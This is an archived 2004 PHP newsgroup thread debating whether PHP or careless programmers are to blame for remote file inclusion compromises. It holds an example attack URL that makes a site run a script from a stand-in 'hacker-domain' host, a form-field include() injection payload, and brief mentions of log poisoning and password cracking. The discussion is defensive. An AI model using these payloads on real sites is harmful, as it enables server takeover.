By using this site, you agree to our updated Privacy Policy and our Terms of Use. Manage your Cookies Settings.
429,570 Members | 970 Online
Bytes IT Community
+ Ask a Question
Need help? Post your question and get tips & solutions from a community of 429,570 IT Pros & Developers. It's quick & easy.

PHP blamed for security problems

P: n/a
Here's what this morning's security advisory read here:

``In the last 3 months we have noticed an marked increase in the number of
web-server attacks and successful compromise on our network. These are
mostly PHP-script exploits and are giving hackers easy shell access to
virtual servers, as mentioned in the PHP Security Advisory in the News
section of the control centre. We really cannot do much about these
network attacks other than to inform our customers to stay vigilant and
upgrade PHP-script software whenever newer versions become available.
The allow_url_open change to PHP is about as much as we can do here.''

They offer a more detailed description of the problem:

``Recently, we've seen an increase in malicious activity on
our servers, caused by hackers who have successfuly gained
shell access via insecure PHP scripts.

Following our own investigation of these hacked accounts, we
believe we have established the common point-of-entry for
these attacks.

As you may be aware, PHP provides a number of functions for
opening files such as 'fopen()' and it's also possible to
pass an HTTP or FTP URL to these such that
fopen('http://www.dsvr.co.uk/'); will fetch the contents of
the DSVR homepage for PHP to treat as a file.

What you may not be aware of is that functions such as
include() also allow URLs to be passed as their argument.
Since these functions cause the included file to be parsed
and executed as PHP code, this can be a major security flaw.

Many clients seem to be using PHP that looks like this:

<html>
...standard header...
<? include($page); ?>
...standard footer...
</html>

as a cheap way to manage common headers and footers. These
pages can be accessed like so:

http://www.your-domain.co.uk/index.php?page=about.inc

so that a file 'about.inc' is included inside the standard
header/footer.

However, unless the $page variable is checked for valid
content -- and input sanity checking is conspicuously absent
in many PHP scripts we encounter -- this is very open to
misuse. Malicious third parties could do the following:

http://www.your-domain.co.uk/index.p...oot-script.txt

This example would cause
http://www.hacker-domain.co.uk/my-root-script.txt
to be downloaded and executed as PHP, allowing the hacker to
manipulate server files and create backdoors which allow
them to log in using telnet or ssh and cause further
disruption.''
--
__________
|im |yler http://timtyler.org/ ti*@tt1lock.org Remove lock to reply.
Jul 17 '05 #1
Share this Question
Share on Google+
38 Replies


P: n/a
> Many clients seem to be using PHP that looks like this:

<html>
...standard header...
<? include($page); ?>
...standard footer...
</html>


Sadly that's so true. It's a shame taint checking isn't available in php
to warn about that sort of thing.

It isn't php's fault as such. I've come across similar dynamic include
problems at regular intervals for years (dBase used to allow it and
could be royally screwed). It's just ten times worse when you can access
off-site files and execute in local context.

Jul 17 '05 #2

P: n/a
With total disregard for any kind of safety measures Kevin Thorpe
<ke***@pricetrak.com> leapt forth and uttered:
It isn't php's fault as such. I've come across similar dynamic
include problems at regular intervals for years (dBase used to
allow it and could be royally screwed). It's just ten times
worse when you can access off-site files and execute in local
context.


But if you include remote files via HTTP, then you are making a
HTTP request. You can't include source code from another server
because the HTTP response will not pass the code, only the output
from the code.

Ultimatly the security risk arises from shit programmers. Not the
language itself.

--
Phil Roberts | Dork Pretending To Be Hard | http://www.flatnet.net/
Jul 17 '05 #3

P: n/a
"Phil Roberts" <ph*****@HOLYflatnetSHIT.net> wrote in message
news:Xn*************************@216.196.97.132...
With total disregard for any kind of safety measures Kevin Thorpe
<ke***@pricetrak.com> leapt forth and uttered:
It isn't php's fault as such. I've come across similar dynamic
include problems at regular intervals for years (dBase used to
allow it and could be royally screwed). It's just ten times
worse when you can access off-site files and execute in local
context.


But if you include remote files via HTTP, then you are making a
HTTP request. You can't include source code from another server
because the HTTP response will not pass the code, only the output
from the code.

Ultimatly the security risk arises from shit programmers. Not the
language itself.

--
Phil Roberts | Dork Pretending To Be Hard | http://www.flatnet.net/

True it will not include the source, but only the output, you can write a
php script to output valid code.

an example would be:

<?php
print "<?php\n";
print "// do some evil here\n";
print "?>\n";
?>

and if you included this from another site it would apear to be valid code.

I agree that it is not a PHP concern, but a lack of forethought (hey, I am
guilty too, but I get to it) the same security risks are in perl as well.
they are just easier in php.

One of the biggest things I see, is people taking data from an input from,
and writing it to a file, the doing an incude() on it. just put <?php
include(http://www.bla.com/script.php); ?> into a form input box and your
good to go

Perhaps when we give examples we should also encourage the use of a bit of
security. and it helps when we point it out to each other as well, in fact
numerous people here Pedro, Chung, Tim, and many others, have pointed stuff
out to me. it helps all of us stay on our toes, and allows us to give better
examples that are not so sloppy.

--
Mike Bradley
http://www.gzentools.com -- free online php tools
Jul 17 '05 #4

P: n/a
Phil Roberts <ph*****@holyflatnetshit.net> wrote:
<snip>
But if you include remote files via HTTP, then you are making a
HTTP request. You can't include source code from another server
because the HTTP response will not pass the code, only the output
from the code.


For the sake of others stumbling upon this post, it is completely wrong. I
think if Phil re-read this he'd realize why. (And if not, re-read the
original post and the URL of the sample malicous script.)

- Bill
Jul 17 '05 #5

P: n/a
On 2004-03-16, Tim Tyler <ti*@tt1lock.org> wrote:
Here's what this morning's security advisory read here:
``Recently, we've seen an increase in malicious activity on
our servers, caused by hackers who have successfuly gained
shell access via insecure PHP scripts.
And who's to blame for that? The php script? Or the sysadmin that gives
to many rights to the user that is running apache?
What you may not be aware of is that functions such as
include() also allow URLs to be passed as their argument.
Since these functions cause the included file to be parsed
and executed as PHP code, this can be a major security flaw.
First line in the manual (So people can't say they didn't know)
The include() statement includes and evaluates the specified file.
This example would cause
http://www.hacker-domain.co.uk/my-root-script.txt
to be downloaded and executed as PHP, allowing the hacker to
manipulate server files and create backdoors which allow
them to log in using telnet or ssh and cause further
disruption.''


Again, if a local user has the rights to do all this stuff....
Then the admins should be fired for allowing this.
--
http://home.mysth.be/~timvw
Jul 17 '05 #6

P: n/a
On 17 Mar 2004 01:15:16 GMT, Tim Van Wassenhove hath writ:
On 2004-03-16, Tim Tyler <ti*@tt1lock.org> wrote:
Here's what this morning's security advisory read here:
``Recently, we've seen an increase in malicious activity on
our servers, caused by hackers who have successfuly gained
shell access via insecure PHP scripts.


And who's to blame for that? The php script? Or the sysadmin that gives
to many rights to the user that is running apache?
What you may not be aware of is that functions such as
include() also allow URLs to be passed as their argument.
Since these functions cause the included file to be parsed
and executed as PHP code, this can be a major security flaw.


First line in the manual (So people can't say they didn't know)
The include() statement includes and evaluates the specified file.
This example would cause
http://www.hacker-domain.co.uk/my-root-script.txt
to be downloaded and executed as PHP, allowing the hacker to
manipulate server files and create backdoors which allow
them to log in using telnet or ssh and cause further
disruption.''


Again, if a local user has the rights to do all this stuff....
Then the admins should be fired for allowing this.


At a previous ISP -- who also was hosted my web site -- I noticed
one day that files I created/updated in PHP were assigned the
ownerid of ---- *me* -- my logonid for the hosting machine!
Crap!! I was also trying to use some secure (userid:password)
http access to some things inside my account -- using file
ownerships to control access to some data.
I pointed this out to the 'web master', and asked "Why!?".
I never got a reply, but several days later I noticed the PHP
program(s) were no longer creating files with owner: my-userid.
Instead, they were ownerid: *root* !!! Geez-Zuss!!!
I moved my account(s) the next day.

Jonesy
--
| Marvin L Jones | jonz | W3DHJ | OS/2
| Gunnison, Colorado | @ | Jonesy | linux __
| 7,703' -- 2,345m | config.com | DM68mn SK
Jul 17 '05 #7

P: n/a
"Allodoxaphobia" <bi********@config.com> wrote in message
news:sl***********************@localhost.config.co m...
I never got a reply, but several days later I noticed the PHP
program(s) were no longer creating files with owner: my-userid.
Instead, they were ownerid: *root* !!! Geez-Zuss!!!
I moved my account(s) the next day.

Jonesy
--
| Marvin L Jones | jonz | W3DHJ | OS/2
| Gunnison, Colorado | @ | Jonesy | linux __
| 7,703' -- 2,345m | config.com | DM68mn SK


Wait, dont go away, what hosting company? :)

(just kidding)

--
Mike Bradley
http://www.gzentools.com -- free online php tools
Jul 17 '05 #8

P: n/a
Here's what this morning's security advisory read here:
``Recently, we've seen an increase in malicious activity on
our servers, caused by hackers who have successfuly gained
shell access via insecure PHP scripts.


And who's to blame for that? The php script? Or the sysadmin that gives
to many rights to the user that is running apache?


I tend to agree with you here. The fact that the user makes
mistakes/(oversights?) is not a reflection on how php works.
Every application, from Windows to Linux can have their basic securities
bypassed by user actions, (i can drop my firewalls, leave the user name as
'Administrator' and so forth).
I would go as far as saying that php *itself* is very secure.

Maybe php could prevent the usage of include(...) from a $_GET/$_POST but
how can that really be enforced...

I have been wanting to write an app for some times that go thru php scripts
and flags possible security risks. I don't know if i really have the time
to.

Simon.
Jul 17 '05 #9

P: n/a
Tim Tyler <ti*@tt1lock.org> wrote in message news:<Hu********@bath.ac.uk>...
<snip>

However, unless the $page variable is checked for valid
content -- and input sanity checking is conspicuously absent
in many PHP scripts we encounter -- this is very open to
misuse. Malicious third parties could do the following:

http://www.your-domain.co.uk/index.p...oot-script.txt

This example would cause
http://www.hacker-domain.co.uk/my-root-script.txt
to be downloaded and executed as PHP, allowing the hacker to
manipulate server files and create backdoors which allow
them to log in using telnet or ssh and cause further
disruption.''


Blame the design and programmers---not the PHP.

In India, we can file a case against anyone who damage one's name
with a kind of hoax. I don't know, whether we should take some efforts
to sue such people who intentionally damage PHP instead of blaming the
design and programmers.

--
http://www.sendmetoindia.com - Send Me to India!
Email: rrjanbiah-at-Y!com
Jul 17 '05 #10

P: n/a
*** Phil Roberts wrote/escribió (Tue, 16 Mar 2004 11:49:48 -0600):
But if you include remote files via HTTP, then you are making a
HTTP request. You can't include source code from another server
because the HTTP response will not pass the code, only the output
from the code.


Crackers normally host malicious code in free accounts that don't even have
PHP support. Even if remote host has the PHP interpreter, they just need to
provide a *.txt file with the code.
--
-- Álvaro G. Vicario - Burgos, Spain
--
Jul 17 '05 #11

P: n/a

Uzytkownik "CountScubula" <me@scantek.hotmail.com> napisal w wiadomosci
news:3y******************@newssvr27.news.prodigy.c om...
"Phil Roberts" <ph*****@HOLYflatnetSHIT.net> wrote in message
news:Xn*************************@216.196.97.132...
True it will not include the source, but only the output, you can write a
php script to output valid code.

an example would be:

<?php
print "<?php\n";
print "// do some evil here\n";
print "?>\n";
?>


Or put the file on a server that doesn't parser PHP... In any case, passing
a user variable to require/include introduces a vulnerability even without
access to remote files. An attacker can backtrack to an anonymous FTP
incoming directory, or send the mailious code in an URL to Apache, then link
in the Apache log file.

The problem is, I think, is that many of those who program in PHP came from
a HTML design instead of a programming background. People used to
programming in C/C++ probably wouldn't use include files in that manner.
Another problem is that PHP is often used in environments where there's no
QA process. The best of us make mistakes and any site that hasn't gone
though thorough testing is bound to be insecure.


Jul 17 '05 #12

P: n/a
Tim Van Wassenhove <eu**@pi.be> wrote:
And who's to blame for that? The php script? Or the sysadmin that gives
to many rights to the user that is running apache?


I'd say the person who wrote the script, not the administrator. It
seems common sense to me that you wouldn't include a file comming in
from hostile input w/out very careful consideration, if you must
do it, make sure the file exists where you think it ought to, fits
within the boundaries of a carefully constructed regex etc.. (or
use a table-lookup approach that only allows files/urls that are
predetermined.)

The best bet is simply not to include anything from hostile input in the
first place. Every modern guide, book or tutorial I know of will tell you
not to be careless with user input, so I wouldn't blame PHP for it.

If the script is used to actually gain root access, then I'd either
blame the admin, the application that was exploited (setID executable
probably) or the OS itself, depending on how the system was compromised.
UNIX machines are supposed to be secure, with multiple users having
shell access. Damages should be limited to whatever userID was running
the script.

I feel kind of sorry for the user because he/she may have contracted out
the job, I would hope they'd get their money back at any rate!

Actually, better to not blame anyone, but learn from it. (and if you
were the programmer, do something to try & make up for the damages.)

Jamie
Jul 17 '05 #13

P: n/a
<th******@yahoo.com> wrote in message
news:mq66c.32682$1p.495668@attbi_s54...
Tim Van Wassenhove <eu**@pi.be> wrote:
And who's to blame for that? The php script? Or the sysadmin that gives
to many rights to the user that is running apache?


I'd say the person who wrote the script, not the administrator. It
seems common sense to me that you wouldn't include a file comming in
from hostile input w/out very careful consideration, if you must
do it, make sure the file exists where you think it ought to, fits
within the boundaries of a carefully constructed regex etc.. (or
use a table-lookup approach that only allows files/urls that are
predetermined.)

The best bet is simply not to include anything from hostile input in the
first place. Every modern guide, book or tutorial I know of will tell you
not to be careless with user input, so I wouldn't blame PHP for it.

If the script is used to actually gain root access, then I'd either
blame the admin, the application that was exploited (setID executable
probably) or the OS itself, depending on how the system was compromised.
UNIX machines are supposed to be secure, with multiple users having
shell access. Damages should be limited to whatever userID was running
the script.

I feel kind of sorry for the user because he/she may have contracted out
the job, I would hope they'd get their money back at any rate!

Actually, better to not blame anyone, but learn from it. (and if you
were the programmer, do something to try & make up for the damages.)

Jamie


Hostile input enviroment, I like that, really no joking I do.
(I may just borrow that one here and there)

hmm, reminds me of my networking days, Hostile, DMZ.... etc..

--
Mike Bradley
http://www.gzentools.com -- free online php tools
Jul 17 '05 #14

P: n/a
Uzytkownik "Allodoxaphobia" <bi********@config.com> napisal w wiadomosci
news:sl***********************@localhost.config.co m...
At a previous ISP -- who also was hosted my web site -- I noticed
one day that files I created/updated in PHP were assigned the
ownerid of ---- *me* -- my logonid for the hosting machine!
Crap!! I was also trying to use some secure (userid:password)
http access to some things inside my account -- using file
ownerships to control access to some data.
I pointed this out to the 'web master', and asked "Why!?".
I never got a reply, but several days later I noticed the PHP
program(s) were no longer creating files with owner: my-userid.
Instead, they were ownerid: *root* !!! Geez-Zuss!!!
I moved my account(s) the next day.


That reminds me. I still have Apache running as LocalSystem on our Win32
server. Gotta add that to my todo list...
Jul 17 '05 #15

P: n/a
R. Rajesh Jeba Anbiah <ng**********@rediffmail.com> wrote or quoted:
Blame the design and programmers---not the PHP.

In India, we can file a case against anyone who damage one's name
with a kind of hoax. I don't know, whether we should take some efforts
to sue such people who intentionally damage PHP instead of blaming the
design and programmers.


I can't say I approve of the "legal" approach to software security.

Fund the removal of the security holes - not detectives to catch
those who exploit them and lawyers to sue them.
--
__________
|im |yler http://timtyler.org/ ti*@tt1lock.org Remove lock to reply.
Jul 17 '05 #16

P: n/a
Tim Van Wassenhove <eu**@pi.be> wrote or quoted:
On 2004-03-16, Tim Tyler <ti*@tt1lock.org> wrote:

Here's what this morning's security advisory read here:
``Recently, we've seen an increase in malicious activity on
our servers, caused by hackers who have successfuly gained
shell access via insecure PHP scripts.


And who's to blame for that? The php script? Or the sysadmin that gives
to many rights to the user that is running apache?


Giving even rather minimal rights will allow the manipulation of files
on the server. The hacker is likely to be able to recover the system
password file and run it through a password cracker. In many cases,
this will be enough for them to make quite a mess - e.g. by using
compromised accounts to relay spam.
--
__________
|im |yler http://timtyler.org/ ti*@tt1lock.org Remove lock to reply.
Jul 17 '05 #17

P: n/a
MyOdd <sp********@myoddweb.com> wrote or quoted:
Maybe php could prevent the usage of include(...) from a $_GET/$_POST but
how can that really be enforced...
By not running code taken from remote machines, perhaps?
I have been wanting to write an app for some times that go thru php scripts
and flags possible security risks. I don't know if i really have the time
to.


Better to eliminate the risks at source - rather than scan every script
in the universe.
--
__________
|im |yler http://timtyler.org/ ti*@tt1lock.org Remove lock to reply.
Jul 17 '05 #18

P: n/a
On 2004-03-18, Tim Tyler <ti*@tt1lock.org> wrote:
Tim Van Wassenhove <eu**@pi.be> wrote or quoted:
On 2004-03-16, Tim Tyler <ti*@tt1lock.org> wrote:

> Here's what this morning's security advisory read here:
> ``Recently, we've seen an increase in malicious activity on
> our servers, caused by hackers who have successfuly gained
> shell access via insecure PHP scripts.


And who's to blame for that? The php script? Or the sysadmin that gives
to many rights to the user that is running apache?


Giving even rather minimal rights will allow the manipulation of files
on the server. The hacker is likely to be able to recover the system
password file and run it through a password cracker. In many cases,
this will be enough for them to make quite a mess - e.g. by using
compromised accounts to relay spam.


Imho the one to blame for should be the sysadmin for not using shadow
passwords. Are running httpd as root.

--
http://home.mysth.be/~timvw
Jul 17 '05 #19

P: n/a
Tim Van Wassenhove <eu**@pi.be> wrote or quoted:
On 2004-03-18, Tim Tyler <ti*@tt1lock.org> wrote:
Tim Van Wassenhove <eu**@pi.be> wrote or quoted:
On 2004-03-16, Tim Tyler <ti*@tt1lock.org> wrote: > Here's what this morning's security advisory read here:
> ``Recently, we've seen an increase in malicious activity on
> our servers, caused by hackers who have successfuly gained
> shell access via insecure PHP scripts.

And who's to blame for that? The php script? Or the sysadmin that gives
to many rights to the user that is running apache?


Giving even rather minimal rights will allow the manipulation of files
on the server. The hacker is likely to be able to recover the system
password file and run it through a password cracker. In many cases,
this will be enough for them to make quite a mess - e.g. by using
compromised accounts to relay spam.


Imho the one to blame for should be the sysadmin for not using shadow
passwords. [...]


That's a fair comment.

However (though I haven't asked them) I suspect shadow passwords are not
currently an option for them. They provide multiple "virutal servers" on
the same machine - and the administrator of each server doesn't get root
access - but they are the one who needs to manipulate users and passwords.

There may be scope for improvement here - but it may not be terribly
simple to do.
--
__________
|im |yler http://timtyler.org/ ti*@tt1lock.org Remove lock to reply.
Jul 17 '05 #20

P: n/a
On 2004-03-18, Tim Tyler <ti*@tt1lock.org> wrote:
Tim Van Wassenhove <eu**@pi.be> wrote or quoted:
On 2004-03-18, Tim Tyler <ti*@tt1lock.org> wrote:
> Tim Van Wassenhove <eu**@pi.be> wrote or quoted:
>> On 2004-03-16, Tim Tyler <ti*@tt1lock.org> wrote: >> > Here's what this morning's security advisory read here:
>> > ``Recently, we've seen an increase in malicious activity on
>> > our servers, caused by hackers who have successfuly gained
>> > shell access via insecure PHP scripts.
>>
>> And who's to blame for that? The php script? Or the sysadmin that gives
>> to many rights to the user that is running apache?
>
> Giving even rather minimal rights will allow the manipulation of files
> on the server. The hacker is likely to be able to recover the system
> password file and run it through a password cracker. In many cases,
> this will be enough for them to make quite a mess - e.g. by using
> compromised accounts to relay spam.


Imho the one to blame for should be the sysadmin for not using shadow
passwords. [...]


That's a fair comment.

However (though I haven't asked them) I suspect shadow passwords are not
currently an option for them. They provide multiple "virutal servers" on
the same machine - and the administrator of each server doesn't get root
access - but they are the one who needs to manipulate users and passwords.


I would think that in larger companies authentication is against LDAP or
MySQL or whatever database. And thus still no need for running php as
root etc..

--
http://home.mysth.be/~timvw
Jul 17 '05 #21

P: n/a
Tim Tyler <ti*@tt1lock.org> wrote or quoted:
Tim Van Wassenhove <eu**@pi.be> wrote or quoted:
On 2004-03-18, Tim Tyler <ti*@tt1lock.org> wrote:
Tim Van Wassenhove <eu**@pi.be> wrote or quoted:
> On 2004-03-16, Tim Tyler <ti*@tt1lock.org> wrote: Here's what this morning's security advisory read here:
> > ``Recently, we've seen an increase in malicious activity on
> > our servers, caused by hackers who have successfuly gained
> > shell access via insecure PHP scripts.
>
> And who's to blame for that? The php script? Or the sysadmin that gives
> to many rights to the user that is running apache?

Giving even rather minimal rights will allow the manipulation of files
on the server. The hacker is likely to be able to recover the system
password file and run it through a password cracker. In many cases,
this will be enough for them to make quite a mess - e.g. by using
compromised accounts to relay spam.


Imho the one to blame for should be the sysadmin for not using shadow
passwords. [...]


That's a fair comment.

However (though I haven't asked them) I suspect shadow passwords are not
currently an option for them. They provide multiple "virutal servers" on
the same machine - and the administrator of each server doesn't get root
access - but they are the one who needs to manipulate users and passwords.

There may be scope for improvement here - but it may not be terribly
simple to do.


I asked them. They said they /do/ plan to take more measures to conceal
the passwd file - but that it presents some technical difficulties - and
they can't say when they might manage it by.
--
__________
|im |yler http://timtyler.org/ ti*@tt1lock.org Remove lock to reply.
Jul 17 '05 #22

P: n/a
Tim Tyler <ti*@tt1lock.org> wrote in message news:<Hu********@bath.ac.uk>...
R. Rajesh Jeba Anbiah <ng**********@rediffmail.com> wrote or quoted:
Blame the design and programmers---not the PHP.

In India, we can file a case against anyone who damage one's name
with a kind of hoax. I don't know, whether we should take some efforts
to sue such people who intentionally damage PHP instead of blaming the
design and programmers.


I can't say I approve of the "legal" approach to software security.

Fund the removal of the security holes - not detectives to catch
those who exploit them and lawyers to sue them.


I'm not saying about legal approach to software security. I'm saying
about legal approach to the people who spead the hoax that PHP is not
secure instead of blaming the design and lame programmers.

--
http://www.sendmetoindia.com - Send Me to India!
Email: rrjanbiah-at-Y!com
Jul 17 '05 #23

P: n/a
MyOdd <sp********@myoddweb.com> wrote or quoted:
Maybe php could prevent the usage of include(...) from a $_GET/$_POST but how can that really be enforced...


By not running code taken from remote machines, perhaps?


That would be a very good start IMHO.
I have been wanting to write an app for some times that go thru php scripts and flags possible security risks. I don't know if i really have the time to.


Better to eliminate the risks at source - rather than scan every script
in the universe.


Yes of course.
But i was more thinking of a tool that developers would use to scan their
scripts just b4 release so that they can get a report of possible security
risks.
I am also guilty of oversights and i would like to have an app go thru my
code to ensure that i did not make any basic mistakes.

It wouldn't be something used all the time.

Simon.
Jul 17 '05 #24

P: n/a
R. Rajesh Jeba Anbiah <ng**********@rediffmail.com> wrote or quoted:
Tim Tyler <ti*@tt1lock.org> wrote in message news:<Hu********@bath.ac.uk>...
R. Rajesh Jeba Anbiah <ng**********@rediffmail.com> wrote or quoted:
Blame the design and programmers---not the PHP.

In India, we can file a case against anyone who damage one's name
with a kind of hoax. I don't know, whether we should take some efforts
to sue such people who intentionally damage PHP instead of blaming the
design and programmers.


I can't say I approve of the "legal" approach to software security.

Fund the removal of the security holes - not detectives to catch
those who exploit them and lawyers to sue them.


I'm not saying about legal approach to software security. I'm saying
about legal approach to the people who spead the hoax that PHP is not
secure instead of blaming the design and lame programmers.


In this case, PHP is at fault.

A casually-written script should *not* allow attackers to remotely run the
code of their choice on the server with the permissions of the webserver.

That allows them to (e.g.) publicly expose the source of every file the
webserver has read access to - which seems like a security disaster to me
- the remote attacker gives themselves the same access rights to files
that a local user has.

Don't blame the authors of the scripts - permitting this is PHP's fault -
and I don't care if you want to set the lawyers on me for saying so ;-)
--
__________
|im |yler http://timtyler.org/ ti*@tt1lock.org Remove lock to reply.
Jul 17 '05 #25

P: n/a
Tim Van Wassenhove <eu**@pi.be> wrote or quoted:
I would think that in larger companies authentication is against LDAP or
MySQL or whatever database. And thus still no need for running php as
root etc..


Nobody is running PHP as root in the first place.

However the abitily to run the script of your choice - and read and write
files with the permissions of the web server is probably pretty devastating.

At the very least you could publicly expose the source code of
practically everything to the attackers.
--
__________
|im |yler http://timtyler.org/ ti*@tt1lock.org Remove lock to reply.
Jul 17 '05 #26

P: n/a
On 2004-03-19, Tim Tyler <ti*@tt1lock.org> wrote:
Tim Van Wassenhove <eu**@pi.be> wrote or quoted:

However the abitily to run the script of your choice - and read and write
files with the permissions of the web server is probably pretty devastating.
The user that is running your webserver does NOT need write access to
files. All that it needs is x on the directory (and the directories to
get there), and r for the file.

And with mod_security, or whatever the setting is called in php, you can
lock much more things down ;)
At the very least you could publicly expose the source code of
practically everything to the attackers.


Security through obscurity doesn't work anyway. So what is the problem?

--
http://home.mysth.be/~timvw
Jul 17 '05 #27

P: n/a
Tim Van Wassenhove <eu**@pi.be> wrote or quoted:
On 2004-03-19, Tim Tyler <ti*@tt1lock.org> wrote:

However the abitily to run the script of your choice - and read and write
files with the permissions of the web server is probably pretty devastating.


The user that is running your webserver does NOT need write access to
files. All that it needs is x on the directory (and the directories to
get there), and r for the file.


The webserver usually has to do some writing - to log files, and so
forth. It needs to be able to write files.
At the very least you could publicly expose the source code of
practically everything to the attackers.


Security through obscurity doesn't work anyway. So what is the problem?


Security through obscurity is a technical phrase from cryptography.

One thing it *doesn't* mean that keeping your PHP source code away
from your competitors is a bad move.
--
__________
|im |yler http://timtyler.org/ ti*@tt1lock.org Remove lock to reply.
Jul 17 '05 #28

P: n/a
On 2004-03-19, Tim Tyler <ti*@tt1lock.org> wrote:
Tim Van Wassenhove <eu**@pi.be> wrote or quoted:
On 2004-03-19, Tim Tyler <ti*@tt1lock.org> wrote:

> However the abitily to run the script of your choice - and read and write
> files with the permissions of the web server is probably pretty devastating.


The user that is running your webserver does NOT need write access to
files. All that it needs is x on the directory (and the directories to
get there), and r for the file.


The webserver usually has to do some writing - to log files, and so
forth. It ow would this be devestating?

Sample code that runs on a box with safe_mode=on would be nice.
> At the very least you could publicly expose the source code of
> practically everything to the attackers.

Security through obscurity is a technical phrase from cryptography.


And why wouldn't it be valid for source code exposure in general? (As this
thread is about security, and not on how desirable it would be to have
your code being public for competitors).

--
http://home.mysth.be/~timvw
Jul 17 '05 #29

P: n/a
Tim Tyler <ti*@tt1lock.org> wrote:
In this case, PHP is at fault.
IMO, that is almost like saying "the OS is at fault" for allowing users
to delete files or install software. (granted, a require() that can
slurp in and evaluate code from across the net is kind of asking for
problems)

A casually-written script should *not* allow attackers to remotely run the
code of their choice on the server with the permissions of the webserver.
Which is why casually written programs are generally a bad idea. :-)

Although, with people offering to write custom code for $10/hr it is kind of
inevitable that shortcuts be made.

The market and cheap programming does put programmers in a position
where this type of thing is bound to happen. Web designers skipping over
to programming because they can't afford to hire a programmer,
programmers rushing through stuff because they'll average only $2.00/hr
if they DON'T rush it, etc.. I guess people who pay some guy $5.00/hr to
write their stuff kind of deserve what they get.

That allows them to (e.g.) publicly expose the source of every file the
webserver has read access to - which seems like a security disaster to me
- the remote attacker gives themselves the same access rights to files
that a local user has.

Don't blame the authors of the scripts - permitting this is PHP's fault -
and I don't care if you want to set the lawyers on me for saying so ;-)

Well, legal action isn't the answer... I don't think PHP is to blame
either, it's the programmers in this case. If it were a buffer problem
or some wird part of PHP that would evaluate form input or something
w/out the programmers say-so, well, then it's PHP's fault. In this case,
the responsibility lies on the programmers. Opening ANY file, command,
or any system interaction needs to be questioned and inspected.

Jamie


Jul 17 '05 #30

P: n/a
Tim Van Wassenhove <eu**@pi.be> wrote or quoted:
On 2004-03-19, Tim Tyler <ti*@tt1lock.org> wrote:
Tim Van Wassenhove <eu**@pi.be> wrote or quoted:
[publicly expose the source code of practically everything to the attackers]
Security through obscurity is a technical phrase from cryptography.


And why wouldn't it be valid for source code exposure in general?
(As this thread is about security, and not on how desirable it would be
to have your code being public for competitors).


Uh - because it has nothing to do with cryptography.

With source code, you are preserving a trade secret.
Obscurity *is* important when you have a trade secret.

The phrase "security through obscurity" applies to cryptographic
devices - which must be fielded to be used - and once fielded it
has to be assumed that your opponent can capture one of your
transmitters and can reverse engineer it.

PHP code on a server is completely different. The code never
leaves the server. It's workings are not exposed and there's
no way to dismantle it, poke electrodes at it, or scan its
insides and - i.e. there's no way to see how it does what
it does except by looking at its inputs and outputs.

The server can be well defended. It doesn't *have* to be carried
into battle by mortal soldiers - instead, it can be placed inside
Fort Knox.

Also, note that the NSA keeps its cryptographic designs secret
for as long as they can manage. Obviously they have a different
perspective on the phrase "security through obscurity" from you.

They do this to cause a time delay between their systems being
deployed and them being captured, analysed and reverse engineered.
That same time delay is significant for software engineers
attempting to clone a system, mimic its functionality or implement
its interfaces.

Exposing practically all the files on the server - regardless of
whether they are in password-protected web directories - will
often represent a security breach.

I should not be expected to debate this simple point - it is too
obvious.
--
__________
|im |yler http://timtyler.org/ ti*@tt1lock.org Remove lock to reply.
Jul 17 '05 #31

P: n/a
th******@yahoo.com wrote or quoted:
Tim Tyler <ti*@tt1lock.org> wrote:

In this case, PHP is at fault.


IMO, that is almost like saying "the OS is at fault" for allowing users
to delete files or install software. (granted, a require() that can
slurp in and evaluate code from across the net is kind of asking for
problems)


I see a few differences - but:

Certainly, many OSes are not remotely safe aginst their own users.

That's what the "Trusted Computing Group" is trying to remedy - taking
the level of trust away from the end user - partly on the grounds that
many of them don't know what they are doing - and it would be a waste
to allow them to trash their own machines through their own idiocy.

http://www.cl.cam.ac.uk/~rja14/tcpa-faq.html
--
__________
|im |yler http://timtyler.org/ ti*@tt1lock.org Remove lock to reply.
Jul 17 '05 #32

P: n/a
Tim Tyler wrote:

That's what the "Trusted Computing Group" is trying to remedy - taking
the level of trust away from the end user


Those who do not understand a tool are unlikely to use it correctly.
People who can't be trusted to use computers safely should not use them
(this goes for automobiles and firearms, as well).

This does *not* mean that I think there should be a law against it.
There is a vast difference between that which should not be done and
that which should be legally regulated, something too many people fail
to realize (which is why 40% of the USA's GNP goes to support our
government bureaucracy.)

However, people who do use them unsafely should be harshly penalized and
prevented from doing so again.

bblackmoor
2004-03-21
Jul 17 '05 #33

P: n/a
On 2004-03-20, Tim Tyler <ti*@tt1lock.org> wrote:
Tim Van Wassenhove <eu**@pi.be> wrote or quoted:
On 2004-03-19, Tim Tyler <ti*@tt1lock.org> wrote:
> Tim Van Wassenhove <eu**@pi.be> wrote or quoted:
[publicly expose the source code of practically everything to the attackers]
> Security through obscurity is a technical phrase from cryptography.
And why wouldn't it be valid for source code exposure in general?
(As this thread is about security, and not on how desirable it would be
to have your code being public for competitors).


Uh - because it has nothing to do with cryptography.

With source code, you are preserving a trade secret.
Obscurity *is* important when you have a trade secret.


But what makes this a problem for php and not for other languages?
Every scripting language has this "problem".
Perhaps you think compiled binaries are more "secure", in this case
there is zend's encoding engine. So i still don't see a problem that is
specific for php.
PHP code on a server is completely different. The code never
leaves the server. It's workings are not exposed and there's
no way to dismantle it, poke electrodes at it, or scan its
insides and - i.e. there's no way to see how it does what
it does except by looking at its inputs and outputs.


From this point of view, i don't see how you could blame php for being
insecure.

--
http://home.mysth.be/~timvw
Jul 17 '05 #34

P: n/a
Tim Van Wassenhove <eu**@pi.be> wrote or quoted:
On 2004-03-20, Tim Tyler <ti*@tt1lock.org> wrote:
Tim Van Wassenhove <eu**@pi.be> wrote or quoted:
On 2004-03-19, Tim Tyler <ti*@tt1lock.org> wrote:
> Tim Van Wassenhove <eu**@pi.be> wrote or quoted:
[publicly expose the source code of practically everything to the attackers]
> Security through obscurity is a technical phrase from cryptography.

And why wouldn't it be valid for source code exposure in general?
(As this thread is about security, and not on how desirable it would be
to have your code being public for competitors).
Uh - because it has nothing to do with cryptography.

With source code, you are preserving a trade secret.
Obscurity *is* important when you have a trade secret.


But what makes this a problem for php and not for other languages?


Nothing. That this was a problem only for PHP was never asserted.
Every scripting language has this "problem".


The problems are:

* That it's easy to write a script that accidentally allows access
to everything the webserver has access to;

* That it's possible to write a script that allows access to
everything the webserver has access to;

Not every scripting language has these problems.

Some run in sandboxes, place restrictions on file access - and so on.

PHP in "safe mode" - with an appropriate bunch of settings for
things like "open_basedir" - is an attempt to do much the same
sort of thing.
--
__________
|im |yler http://timtyler.org/ ti*@tt1lock.org Remove lock to reply.
